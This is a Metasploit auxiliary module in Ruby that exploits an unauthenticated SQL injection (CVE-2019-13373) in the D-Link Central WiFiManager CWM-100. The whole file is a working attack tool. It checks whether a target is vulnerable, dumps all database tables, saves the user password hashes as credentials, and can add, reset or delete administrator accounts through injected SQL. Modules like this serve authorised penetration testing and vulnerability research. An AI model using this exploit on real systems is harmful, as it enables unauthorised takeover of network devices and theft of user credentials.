## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'csv' require 'digest' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::SQLi def initialize(info = {}) super( update_info( info, 'Name' => 'D-Link Central WiFiManager SQL injection', 'Description' => %q{ This module exploits a SQLi vulnerability found in D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The vulnerability is an exposed API endpoint that allows the execution of SQL queries without authentication, using this vulnerability, it's possible to retrieve usernames and password hashes of registered users, device configuration, and other data, it's also possible to add users, or edit database information. }, 'License' => MSF_LICENSE, 'Author' => [ 'M3@ZionLab from DBAppSecurity', 'Redouane NIBOUCHA ' # Metasploit module ], 'References' => [ ['CVE', '2019-13373'], ['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/'] ], 'Actions' => [ [ 'SQLI_DUMP', { 'Description' => 'Retrieve all the data from the database' } ], [ 'ADD_ADMIN', { 'Description' => 'Add an administrator user' } ], [ 'REMOVE_ADMIN', { 'Description' => 'Remove an administrator user' } ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultAction' => 'SQLI_DUMP', 'DisclosureDate' => '2019-07-06', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']), OptString.new('USERNAME', [false, 'The username of the user to add/remove']), OptString.new('PASSWORD', [false, 'The password of the user to add/edit']) ] ) end def vulnerable_request(payload) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'), 'vars_post' => { 'dbAction' => 'S', 'dbSQL' => payload } ) end def check check_error = nil sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload| res = vulnerable_request(payload) if res && res.code == 200 res.body[%r{(.+)}m, 1] || '' else if res check_error = Exploit::CheckCode::Safe else check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request') end '' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error end end vulnerable_test = sqli.test_vulnerable check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe) end def dump_data(sqli) print_good "DBMS version: #{sqli.version}" table_names = sqli.enum_table_names print_status 'Enumerating tables' table_names.each do |table_name| cols = sqli.enum_table_columns(table_name) vprint_good "#{table_name}(#{cols.join(',')})" # retrieve the data from the table content = sqli.dump_table_fields(table_name, cols) # store hashes as credentials if table_name == 'usertable' user_ind = cols.index('username') pass_ind = cols.index('userpassword') content.each do |entry| create_credential( { module_fullname: fullname, workspace_id: myworkspace_id, username: entry[user_ind], private_data: entry[pass_ind], jtr_format: 'raw-md5', private_type: :nonreplayable_hash, status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_details) ) print_good "Saved credentials for #{entry[user_ind]}" end end path = store_loot( 'dlink.http', 'application/csv', rhost, cols.to_csv + content.map(&:to_csv).join, "#{table_name}.csv" ) print_good "#{table_name} saved to #{path}" end end def check_admin_username if datastore['USERNAME'].nil? fail_with Failure::BadConfig, 'You must specify a username when adding a user' elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) } fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes' end end def add_user(sqli) check_admin_username admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '') user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'" # check if user exists, if yes, just change his password if sqli.run_sql(user_exists_sql).to_i == 0 print_status 'User not found on the target, inserting' sqli.run_sql('insert into usertable(username,userpassword,level) values(' \ "'#{datastore['USERNAME']}', '#{admin_hash}', 1)") else print_status 'User already exists, updating the password' sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \ "username='#{datastore['USERNAME']}'") end end def remove_user(sqli) check_admin_username sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'") end def run unless check == Exploit::CheckCode::Vulnerable print_error 'Target does not seem to be vulnerable' return end print_good 'Target seems vulnerable' sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload| res = vulnerable_request(payload) if res && res.code == 200 res.body[%r{(.+)}m, 1] || '' else fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200 end end case action.name when 'SQLI_DUMP' dump_data(sqli) when 'ADD_ADMIN' add_user(sqli) when 'REMOVE_ADMIN' remove_user(sqli) else fail_with(Failure::BadConfig, "#{action.name} not defined") end end end